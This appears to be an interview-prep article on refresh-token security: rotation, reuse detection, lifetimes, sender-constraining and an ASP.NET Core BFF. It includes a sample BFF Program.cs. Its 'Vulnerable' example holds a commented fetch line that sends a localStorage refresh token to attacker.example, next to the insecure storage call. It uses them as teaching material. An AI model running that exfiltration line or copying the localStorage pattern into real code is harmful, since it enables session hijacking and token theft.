Refresh tokens: purpose, rotation, reuse detection, lifetimes, sender-constraining, and token storage for SPAs with the BFF pattern in ASP.NET Core.
A refresh token lets a client get new short-lived access tokens without asking the user to sign in again. Because it is long-lived, it is the most valuable token to steal.
HttpOnly, Secure, SameSite cookie.The trade-off: a BFF adds a server hop and session state, in exchange for tokens that never reach the browser.
"Access tokens should be short-lived because they can't be revoked. Refresh tokens are how you get a long session anyway: when the access token expires, the client posts the refresh token to the token endpoint and gets a new access token. That makes the refresh token the crown jewel. So I want rotation, where every use returns a brand-new refresh token and the old one becomes invalid, and reuse detection: the server remembers the chain, and if an already-used token comes back, either the attacker or the real client is replaying it, so it revokes the whole family and forces a sign-in. On top of that I want two limits: an idle timeout, say 24 hours without use, and an absolute lifetime, say 7 or 30 days depending on risk, so a session can't slide forever.
For example, at [company] our SPA kept a refresh token in
localStorage. A stored XSS in a [comment field] would have let any script read it and keep a session alive indefinitely. I moved us to a BFF: an ASP.NET Core host that runs the OIDC code flow as a confidential client, stores tokens in the server-side session, gives the browser a__Host-cookie that isHttpOnly,SecureandSameSite=Strict, and proxies/apicalls with YARP, attaching the access token and refreshing it on the server. [Result: the follow-up pen test found no token exposure and we deleted ~400 lines of token-handling JavaScript.]The mistake I see is treating rotation as optional for public clients, or 'refreshing' by just extending the same token forever. The senior line: the browser is hostile territory, so the best token storage in a SPA is no tokens at all."
| Token | Typical lifetime | Why |
|---|---|---|
| Access token | 5–15 minutes | Can't be revoked; limits damage |
| Refresh token idle timeout | 8–24 hours (web), up to 30 days (mobile) | Abandoned sessions die |
| Absolute session lifetime | 1–30 days by risk | Forces periodic re-authentication |
| BFF session cookie | Matches the refresh token's absolute limit | One session concept for the user |
| Where | XSS can read it? | CSRF risk | Verdict |
|---|---|---|---|
localStorage / sessionStorage |
Yes | No | Avoid for refresh tokens |
| JavaScript memory only | Yes, while the page runs | No | Acceptable for short access tokens, lost on reload |
HttpOnly cookie holding the token, sent to the API |
No | Yes, needs SameSite + antiforgery | Better, but the API must accept cookies |
| BFF: server-side tokens + session cookie | No | Mitigated by SameSite and an antiforgery header | Recommended (IETF 'OAuth for Browser-Based Apps') |
RT1 -> (AT2, RT2) RT1 marked used
RT2 -> (AT3, RT3) RT2 marked used
attacker replays RT1 -> reuse detected -> revoke RT1..RT3 family -> user must sign in
After moving [company]'s portal to a BFF, the browser held one [~200-byte] cookie and no tokens; the server refreshed access tokens [~3,000 times an hour] with a distributed token cache, adding [~4 ms] p95 to proxied calls.
Checks that the candidate treats refresh tokens as high-value credentials and can design rotation, lifetimes and browser storage defensibly.
Green flags
Red flags
localStorage and calls it fine because of HTTPSaccess token : sent on every API call, validated locally, short -> exposure small
refresh token : sent only to the token endpoint, checked there -> revocable, long
The split gives revocation without a per-request lookup: the authorisation server checks the refresh token, so revoking it ends the session within one access-token lifetime.
The server stores a record per refresh token: id, family_id, user, client, expires, consumed_at. On refresh it checks the token is unexpired and unconsumed, marks it consumed, and issues a new one in the same family. A consumed token presented again revokes the family. Concurrency is the catch: two browser tabs refreshing at once look like reuse, so implementations allow a short grace window (Duende IdentityServer and Auth0 both offer one) or serialise refreshes on the client or BFF.
Rotation limits replay; binding prevents it. DPoP (RFC 9449) makes the client sign each request with a private key, and the token is bound to that key's thumbprint, so a stolen token is useless without the key. mTLS-bound tokens (RFC 8705) do the same with client certificates for server clients. OAuth 2.1 requires refresh tokens for public clients to be either sender-constrained or rotated.
Browser --cookie--> BFF (ASP.NET Core)
|-- AddOpenIdConnect (confidential client, code + PKCE)
|-- tokens in server session / distributed cache
|-- YARP: /api/** -> downstream API, adds Bearer AT
'-- refreshes AT using RT before expiry
CSRF protection comes from SameSite=Strict or Lax plus requiring a custom header (for example X-CSRF: 1) on API calls, which a cross-site form can't send without a CORS preflight. Libraries such as Duende.BFF package this; a hand-rolled version is cookie + OIDC + YARP with a transform that attaches the token.
Entra ID returns a new refresh token on each redemption. Refresh tokens issued to SPAs (redirect URIs of type SPA) have a fixed 24-hour lifetime, which is one reason SPA sessions there need the user's IdP session to stay alive; confidential clients get longer-lived ones. Continuous Access Evaluation can revoke sessions quickly for supported resources.
RefreshTokens table in EF Core and write a test where the old token is replayed and the family is revoked.SameSite=Strict and a required X-CSRF header; try a cross-site form POST and see it rejected.Vulnerable: a SPA keeps tokens where any injected script can read them.
// Exploit in one line: an injected script reads localStorage and sends it away.
// fetch('https://attacker.example/c?t=' + localStorage.getItem('refresh_token'))
localStorage.setItem('refresh_token', response.refresh_token);
Fixed: an ASP.NET Core BFF holds the tokens; the browser only has an HttpOnly cookie.
// Program.cs (.NET 10) - BFF host. Packages: Yarp.ReverseProxy, Microsoft.AspNetCore.Authentication.OpenIdConnect
using Microsoft.AspNetCore.Authentication;
using Microsoft.AspNetCore.Authentication.Cookies;
using Microsoft.AspNetCore.Authentication.OpenIdConnect;
using Yarp.ReverseProxy.Transforms;
var builder = WebApplication.CreateBuilder(args);
builder.Services.AddAuthentication(o =>
{
o.DefaultScheme = CookieAuthenticationDefaults.AuthenticationScheme;
o.DefaultChallengeScheme = OpenIdConnectDefaults.AuthenticationScheme;
})
.AddCookie(o =>
{
o.Cookie.Name = "__Host-bff";
o.Cookie.SameSite = SameSiteMode.Strict;
o.Cookie.SecurePolicy = CookieSecurePolicy.Always;
o.ExpireTimeSpan = TimeSpan.FromHours(8); // idle limit with sliding expiry
})
.AddOpenIdConnect(o =>
{
builder.Configuration.Bind("Oidc", o); // Authority, ClientId, ClientSecret
o.ResponseType = "code";
o.SaveTokens = true; // tokens live in the server-protected ticket
o.Scope.Add("offline_access");
o.Scope.Add("api://orders/Orders.Read");
});
builder.Services.AddAuthorization();
builder.Services.AddReverseProxy()
.LoadFromConfig(builder.Configuration.GetSection("ReverseProxy"))
.AddTransforms(ctx => ctx.AddRequestTransform(async t =>
{
// Attach the access token server-side; refreshing it is omitted for brevity
// (use a token management library or a refresh handler in real code).
var token = await t.HttpContext.GetTokenAsync("access_token");
if (token is not null)
t.ProxyRequest.Headers.Authorization = new("Bearer", token);
}));
var app = builder.Build();
app.UseAuthentication();
app.UseAuthorization();
// Require a custom header so a cross-site form can't call the API with the cookie.
app.MapReverseProxy(proxy => proxy.Use(async (ctx, next) =>
{
if (!ctx.Request.Headers.ContainsKey("X-CSRF")) { ctx.Response.StatusCode = 400; return; }
await next();
})).RequireAuthorization();
app.Run();
localStorage. Why it is wrong: any XSS, malicious package or browser extension can read and replay them for days. Instead: a BFF, or memory-only storage with rotation for public clients.refresh_token, access_token and code in logging and telemetry processors.SameSite plus a required custom header or antiforgery token.Refresh token design is risk management: pick lifetimes from the cost of a stolen session and the annoyance of re-login, and write them down. For browser apps the industry has converged on the BFF (the IETF 'OAuth 2.0 for Browser-Based Applications' draft ranks it first), because no client-side storage survives XSS. The cost is real: a server, sticky session data or a distributed cache, and a hop on every API call.
| Option | When it fits | Cost | When not to |
|---|---|---|---|
| BFF with server-side tokens | SPAs with sensitive data, Australian banking or health apps | Server hop, session store, more infra | Purely public data, static hosting only |
| Public client with rotation + memory storage | SPAs without a backend, lower risk | XSS still steals live tokens | Regulated data |
| Native mobile with rotation + secure enclave storage (Keychain/Keystore) | Mobile apps | Platform code | Never put tokens in plain shared preferences |
| DPoP-bound tokens | High-value APIs where the IdP supports it | Client key management, IdP support | When the IdP doesn't support it yet |
Measure: refresh rate per user, reuse-detection events (alert on spikes), and the proportion of sessions hitting the absolute limit.
You can't change or recall a JWT once issued, so revocation means managing state outside the token. Keep access tokens short (5–15 minutes) and revoke the refresh token or session at the IdP, so no new access tokens are issued and access ends within one token lifetime. For immediate effect on high-risk APIs, keep a deny-list in Redis: revoked jti values with a TTL equal to the token's remaining lifetime, or a per-user 'tokens issued before' timestamp compared with iat, checked in JwtBearerEvents.OnTokenValidated (a sub-millisecond lookup; fail closed for admin and payment APIs). Microsoft Entra ID's Continuous Access Evaluation lets supported resources (for example Exchange Online, SharePoint and Graph, or your API if it implements claims challenges) reject tokens soon after events such as account disable or password reset. For the strictest cases, use reference tokens checked by introspection (RFC 7662).
A JWT is three base64url parts, header.payload.signature. The header says which algorithm and key (alg, kid) signed it; the payload holds claims (iss, aud, sub, exp, scopes); the signature proves nobody changed them. It is signed, not encrypted, so anyone holding it can read it: no personal or secret data.
AddJwtBearer with Authority and Audience validates issuer, audience, lifetime and signature (with a 5-minute ClockSkew).The trade-off: validation is local and fast, but a stolen token is valid until exp, so keep access tokens short-lived.
How to tell it (STAR)
**S:** A bug bounty report showed a stored XSS in our [self-service portal], and because refresh tokens sat in `localStorage` for [90 days] without rotation, a script could have kept sessions alive indefinitely. **T:** I led the technical response and the long-term fix. **A:** We patched the XSS the same day, revoked refresh tokens and forced re-login, turned on rotation with reuse detection, and worked with [the privacy officer] to assess the incident against the NDB scheme. I then built a BFF so the browser held only an `HttpOnly` cookie, and added a CSP. **R:** We confirmed [no] customer data was accessed, the re-test found [no] token exposure, and the CSP report stream caught [two] further injection attempts in the following [quarter].
Last updated 23 Nov 2026.